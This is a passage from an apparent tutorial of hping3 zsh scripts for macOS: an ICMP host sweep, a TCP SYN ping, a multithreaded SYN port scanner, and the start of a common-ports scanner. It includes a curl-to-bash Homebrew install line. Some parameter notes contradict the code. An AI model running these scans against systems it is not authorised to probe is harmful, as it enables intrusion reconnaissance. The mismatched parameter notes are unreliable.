            echo -e "\n${GREEN}[✓] Host alive: $IP${NC}"
        fi
    } &
    
    # Limit concurrent processes
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$MAX_PARALLEL" ]; do
        sleep 0.1
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_HOSTS"
done

# Wait for all background jobs to complete
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Count alive hosts
if [ -s "$ALIVE_FILE" ]; then
    ALIVE=$(wc -l < "$ALIVE_FILE" | tr -d ' ')
else
    ALIVE=0
fi

# Clear progress line and display results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

if [ "$ALIVE" -gt 0 ]; then
    echo -e "${GREEN}[✓] Active hosts found: $ALIVE${NC}"
    echo ""
    echo -e "${MAGENTA}Live Hosts:${NC}"
    echo -e "${CYAN}───────────────────────${NC}"
    
    # Sort and display alive hosts
    sort -t . -k 4 -n "$ALIVE_FILE" | while read -r host; do
        echo -e "  ${GREEN}▸${NC} $host"
    done
    
    # Save results to file
    RESULTS_FILE="icmp_sweep_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "ICMP Network Sweep Results"
        echo "=========================="
        echo "Network: $NETWORK.0/24"
        echo "Range: $NETWORK.$START_IP - $NETWORK.$END_IP"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
        echo "Active Hosts ($ALIVE found):"
        echo "----------------------------"
        sort -t . -k 4 -n "$ALIVE_FILE"
    } > "$RESULTS_FILE"
    
    echo ""
    echo -e "${CYAN}───────────────────────${NC}"
    echo -e "${BLUE}[*] Results saved to: $RESULTS_FILE${NC}"
else
    echo -e "${YELLOW}[-] No active hosts found in range${NC}"
    echo -e "${YELLOW}    This could mean:${NC}"
    echo -e "${YELLOW}    • Hosts are blocking ICMP${NC}"
    echo -e "${YELLOW}    • Network is unreachable${NC}"
    echo -e "${YELLOW}    • Firewall is blocking requests${NC}"
fi

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Total Scanned:${NC} $TOTAL_HOSTS hosts"
echo -e "  ${BLUE}Alive:${NC}         $ALIVE hosts"
echo -e "  ${BLUE}No Response:${NC}   $((TOTAL_HOSTS - ALIVE)) hosts"
echo -e "  ${BLUE}Success Rate:${NC}  $(( ALIVE * 100 / TOTAL_HOSTS ))%"
echo -e "  ${BLUE}Scan Duration:${NC} ${DURATION} seconds"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/icmp_sweep.sh

How to Run:

# Scan entire subnet (default: .1 to .254)
./icmp_sweep.sh 192.168.1

# Scan specific range
./icmp_sweep.sh 10.0.0 1 100

# Scan custom range
./icmp_sweep.sh 172.16.5 50 150

# Get help
./icmp_sweep.sh --help

Parameters Explained:
– **network** (required): Network base (e.g., “192.168.1” for 192.168.1.0/24)
– **start_ip** (optional, default: 1): Starting host number in the range
– **end_ip** (optional, default: 254): Ending host number in the range

MacOS Optimizations:
– Limits concurrent processes to prevent system overload
– Uses temporary files for result collection
– Includes progress indicators for long scans

—

Script 3: TCP SYN Ping

Purpose:
Uses TCP SYN packets instead of ICMP to test host availability. This technique can bypass firewalls that block ICMP while allowing TCP traffic to specific ports.

Create the Script:

cat > ~/hping3-scripts/tcp_syn_ping.sh << 'EOF'
#!/bin/zsh

# TCP SYN Ping Script using hping3
# Tests TCP connectivity using SYN packets (TCP half-open scan)
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT="${2:-80}"
COUNT="${3:-4}"
INTERVAL="${4:-1}"

# Common ports reference
declare -A COMMON_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_ping.sh"
    echo "Usage: $script_name <target> [port] [count] [interval]"
    echo "  target   - Hostname or IP address to test"
    echo "  port     - TCP port to test (default: 80)"
    echo "  count    - Number of SYN packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name google.com             # Test port 80"
    echo "  $script_name google.com 443         # Test HTTPS port"
    echo "  $script_name ssh.example.com 22 5   # Test SSH with 5 packets"
    echo "  $script_name 192.168.1.1 80 10 0.5  # 10 packets, 0.5s interval"
    echo ""
    echo "Common Ports:"
    echo "  22  - SSH        443 - HTTPS     3306 - MySQL"
    echo "  80  - HTTP       445 - SMB       5432 - PostgreSQL"
    echo "  21  - FTP        25  - SMTP      6379 - Redis"
    echo "  53  - DNS        110 - POP3      8080 - HTTP-Alt"
}

# Function to validate port
validate_port() {
    local port=$1
    
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port must be a number${NC}"
        return 1
    fi
    
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name for port
get_service_name() {
    local port=$1
    if [[ -n "${COMMON_PORTS[$port]}" ]]; then
        echo "${COMMON_PORTS[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port
if ! validate_port "$PORT"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Get service name
SERVICE_NAME=$(get_service_name "$PORT")

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         TCP SYN PING UTILITY           ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Port:${NC}     $PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "  ${BLUE}Method:${NC}   TCP SYN (Half-open scan)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with TCP SYN mode
echo -e "${GREEN}[+] Starting TCP SYN ping...${NC}"
echo ""

# Statistics tracking
SUCCESS_COUNT=0
FAIL_COUNT=0
TOTAL_RTT=0
MIN_RTT=999999
MAX_RTT=0

# Execute hping3 and process output
# -S: SYN packets
# -p: destination port
# -c: packet count
# -i: interval
hping3 -S -p "$PORT" -c "$COUNT" -i "$INTERVAL" "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Parse and colorize output
    if echo "$line" | grep -q "flags=SA"; then
        # SYN+ACK received (port open)
        echo -e "${GREEN}✓ Port $PORT open: $line${NC}"
        ((SUCCESS_COUNT++))
        
        # Extract RTT if available
        if echo "$line" | grep -q "rtt="; then
            RTT=$(echo "$line" | sed -n 's/.*rtt=\([0-9.]*\).*/\1/p')
            if [[ -n "$RTT" ]]; then
                TOTAL_RTT=$(echo "$TOTAL_RTT + $RTT" | bc)
                if (( $(echo "$RTT < $MIN_RTT" | bc -l) )); then
                    MIN_RTT=$RTT
                fi
                if (( $(echo "$RTT > $MAX_RTT" | bc -l) )); then
                    MAX_RTT=$RTT
                fi
            fi
        fi
    elif echo "$line" | grep -q "flags=RA"; then
        # RST+ACK received (port closed)
        echo -e "${RED}✗ Port $PORT closed: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "Unreachable\|timeout\|no answer"; then
        # No response or error
        echo -e "${RED}✗ No response: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "HPING.*mode set"; then
        # Header information
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q "Statistics\|transmitted\|received\|packet loss"; then
        # Statistics line
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Parse final statistics from hping3 output
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Extract statistics from output
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS_LINE=$(grep -E "packets transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS_LINE" ]]; then
        echo -e "${GREEN}          STATISTICS${NC}"
        echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
        
        # Parse transmitted, received, loss
        TRANSMITTED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ packets transmitted" | grep -oE "^[0-9]+")
        RECEIVED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ received" | grep -oE "^[0-9]+")
        LOSS=$(echo "$STATS_LINE" | grep -oE "[0-9]+% packet loss" | grep -oE "^[0-9]+")
        
        if [[ -n "$TRANSMITTED" ]] && [[ -n "$RECEIVED" ]]; then
            echo -e "  ${BLUE}Packets Sent:${NC}     $TRANSMITTED"
            echo -e "  ${BLUE}Replies Received:${NC} $RECEIVED"
            echo -e "  ${BLUE}Packet Loss:${NC}      ${LOSS:-0}%"
            
            # Port status determination
            if [[ "$RECEIVED" -gt 0 ]]; then
                echo -e "  ${BLUE}Port Status:${NC}      ${GREEN}OPEN (Responding)${NC}"
            else
                echo -e "  ${BLUE}Port Status:${NC}      ${RED}CLOSED/FILTERED${NC}"
            fi
        fi
        
        # RTT statistics if available
        if [[ "$SUCCESS_COUNT" -gt 0 ]] && [[ "$TOTAL_RTT" != "0" ]]; then
            AVG_RTT=$(echo "scale=2; $TOTAL_RTT / $SUCCESS_COUNT" | bc)
            echo ""
            echo -e "  ${BLUE}RTT Statistics:${NC}"
            echo -e "    Min: ${MIN_RTT}ms"
            echo -e "    Max: ${MAX_RTT}ms"
            echo -e "    Avg: ${AVG_RTT}ms"
        fi
    fi
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Final status message
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    if grep -q "flags=SA" "$TMPFILE" 2>/dev/null; then
        echo -e "${GREEN}[✓] TCP port $PORT on $TARGET is OPEN${NC}"
        echo -e "${GREEN}    Service: $SERVICE_NAME${NC}"
    elif grep -q "flags=RA" "$TMPFILE" 2>/dev/null; then
        echo -e "${YELLOW}[!] TCP port $PORT on $TARGET is CLOSED${NC}"
        echo -e "${YELLOW}    The host is reachable but the port is not accepting connections${NC}"
    else
        echo -e "${RED}[✗] TCP port $PORT on $TARGET is FILTERED or host is down${NC}"
        echo -e "${RED}    No response received - possible firewall blocking${NC}"
    fi
else
    echo -e "${RED}[✗] TCP SYN ping failed (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ~/hping3-scripts/tcp_syn_ping.sh

How to Run:

# Test default HTTP port (80)
./tcp_syn_ping.sh google.com

# Test HTTPS port
./tcp_syn_ping.sh google.com 443

# Test SSH port with 5 packets
./tcp_syn_ping.sh ssh.example.com 22 5

# Test with custom interval (0.5 seconds)
./tcp_syn_ping.sh 192.168.1.1 80 10 0.5

# Test database ports
./tcp_syn_ping.sh db.example.com 3306      # MySQL
./tcp_syn_ping.sh db.example.com 5432      # PostgreSQL
./tcp_syn_ping.sh cache.example.com 6379   # Redis

# Get help
./tcp_syn_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to test
– **port** (optional, default: 80): TCP port to send SYN packets to
– **count** (optional, default: 1): Number of SYN packets to send

Response Analysis:
– **SYN+ACK response**: Port is open
– **RST response**: Port is closed
– **No response**: Port is filtered

Script 4: TCP SYN Port Scanner

Purpose:
Performs TCP SYN scanning across a range of ports to identify open services. This is a stealthy scanning technique that doesn’t complete the TCP handshake.

Create the Script:

cat > ~/hping3-scripts/tcp_syn_scan.sh << 'EOF'
#!/bin/zsh

# TCP SYN Port Scanner using hping3
# Performs a TCP SYN scan (half-open scan) on a range of ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
START_PORT="${2:-1}"
END_PORT="${3:-1000}"
THREADS="${4:-50}"

# Common service ports
declare -A SERVICE_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [111]="RPC"
    [135]="MSRPC"
    [139]="NetBIOS"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [587]="SMTP-TLS"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_scan.sh"
    echo "Usage: $script_name <target> [start_port] [end_port] [threads]"
    echo "  target     - Hostname or IP address to scan"
    echo "  start_port - Starting port number (default: 1)"
    echo "  end_port   - Ending port number (default: 1000)"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan ports 1-1000"
    echo "  $script_name 192.168.1.1 1 100         # Scan ports 1-100"
    echo "  $script_name server.local 20 25        # Scan ports 20-25"
    echo "  $script_name example.com 1 65535 100   # Full scan with 100 threads"
    echo ""
    echo "Common Port Ranges:"
    echo "  1-1000      - Common ports (default)"
    echo "  1-65535     - All ports"
    echo "  20-445      - Common services"
    echo "  1024-5000   - User ports"
    echo "  49152-65535 - Dynamic/private ports"
}

# Function to validate port range
validate_ports() {
    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port numbers must be integers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 1 ] || [ "$start" -gt 65535 ] || [ "$end" -lt 1 ] || [ "$end" -gt 65535 ]; then
        echo -e "${RED}Error: Port numbers must be between 1-65535${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name
get_service() {
    local port=$1
    if [[ -n "${SERVICE_PORTS[$port]}" ]]; then
        echo "${SERVICE_PORTS[$port]}"
    else
        # Try to get from system services file
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service "$port")
        echo "$port:open:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    elif echo "$result" | grep -q "flags=RA"; then
        # Port is closed (RST+ACK received)
        echo "$port:closed" >> "${tmpfile}.closed"
    else
        # Port is filtered or no response
        echo "$port:filtered" >> "${tmpfile}.filtered"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port range
if ! validate_ports "$START_PORT" "$END_PORT"; then
    exit 1
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    echo -e "${RED}Error: Threads must be between 1-500${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command
if ! command -v gtimeout &> /dev/null && ! command -v timeout &> /dev/null; then
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    
    # Create wrapper function for timeout
    timeout() {
        shift  # Remove the timeout value
        "$@"   # Execute the command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║        TCP SYN PORT SCANNER            ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}        $TARGET"
echo -e "  ${BLUE}Port Range:${NC}    $START_PORT - $END_PORT"
echo -e "  ${BLUE}Total Ports:${NC}   $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}       $THREADS"
echo -e "  ${BLUE}Scan Type:${NC}     TCP SYN (Half-open)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target to IP
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting TCP SYN scan...${NC}"
echo -e "${YELLOW}[*] Scanning $TOTAL_PORTS ports with $THREADS parallel threads${NC}"
echo ""

# Progress tracking
SCANNED=0
JOBS_COUNT=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.closed" ]; then
    CLOSED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.closed" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.filtered" ]; then
    FILTERED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.filtered" | tr -d ' ')
fi

# Display open ports
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-15s %s${NC}\n" "PORT" "STATE" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
        printf "${GREEN}%-10s${NC} ${GREEN}%-15s${NC} ${YELLOW}%s${NC}\n" "$port/tcp" "$state" "$service"
    done
    
    # Save detailed report
    REPORT_FILE="tcp_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "TCP SYN Scan Report"
        echo "==================="
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Port Range: $START_PORT - $END_PORT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo "Scan Rate: $(( TOTAL_PORTS / (DURATION + 1) )) ports/second"
        echo ""
        echo "Results Summary:"
        echo "----------------"
        echo "Open ports: $OPEN_COUNT"
        echo "Closed ports: $CLOSED_COUNT"
        echo "Filtered ports: $FILTERED_COUNT"
        echo ""
        echo "Open Ports Detail:"
        echo "------------------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
            printf "%-10s %-15s %s\n" "$port/tcp" "$state" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Detailed report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found in the specified range${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All ports are closed or filtered${NC}"
    echo -e "${YELLOW}    • Firewall is blocking SYN packets${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open:${NC}           $OPEN_COUNT"
echo -e "  ${RED}Closed:${NC}         $CLOSED_COUNT"
echo -e "  ${YELLOW}Filtered:${NC}       $FILTERED_COUNT"
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/tcp_syn_scan.sh

How to Run:

# Scan default ports 1-1000
./tcp_syn_scan.sh example.com

# Scan specific range
./tcp_syn_scan.sh 192.168.1.1 1 100

# Quick scan of common services
./tcp_syn_scan.sh server.local 20 445

# Full port scan with 100 threads
./tcp_syn_scan.sh example.com 1 65535 100

# Scan web ports
./tcp_syn_scan.sh webserver.com 80 443

# Scan database ports
./tcp_syn_scan.sh dbserver.com 3300 3400

# Get help
./tcp_syn_scan.sh --help

Parameters Explained:
 – **target** (required): Hostname or IP address to scan
– **start_port** (optional, default: 1): First port in the range to scan
– **end_port** (optional, default: 1000): Last port in the range to scan
– **delay** (optional, default: u1000): Delay between packets (u=microseconds)

Script 5: Common Ports Scanner:

Purpose:
Scans a predefined list of commonly used ports with service identification. This is more efficient than scanning large port ranges when looking for standard services.

Create the Script:

brew install coreutils

cat > ~/hping3-scripts/common_ports_scan.sh << 'EOF'
#!/bin/zsh

# Common Ports Scanner using hping3
# Scans commonly used ports with predefined or custom port lists
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
SCAN_TYPE="${2:-default}"
CUSTOM_PORTS="$3"
THREADS="${4:-50}"

# Port categories
declare -A PORT_CATEGORIES=(
    ["default"]="21,22,23,25,53,80,110,143,443,445,3306,3389,5432,8080,8443"
    ["web"]="80,443,8080,8443,8000,8888,3000,5000,9000"
    ["mail"]="25,110,143,465,587,993,995"
    ["database"]="1433,1521,3306,5432,5984,6379,7000,7001,8086,9042,9200,11211,27017"
    ["remote"]="22,23,3389,5900,5901,5902"
    ["file"]="20,21,69,139,445,873,2049"
    ["top100"]="7,9,13,21,22,23,25,26,37,53,79,80,81,88,106,110,111,113,119,135,139,143,144,179,199,389,427,443,444,445,465,513,514,515,543,544,548,554,587,631,646,873,990,993,995,1025,1026,1027,1028,1029,1110,1433,1521,1701,1720,1723,1755,1900,2000,2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000,6001,6379,6646,7000,7070,8000,8008,8009,8080,8081,8443,8888,9100,9200,9999,10000,27017,32768,49152,49153,49154,49155,49156,49157"
    ["top1000"]="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,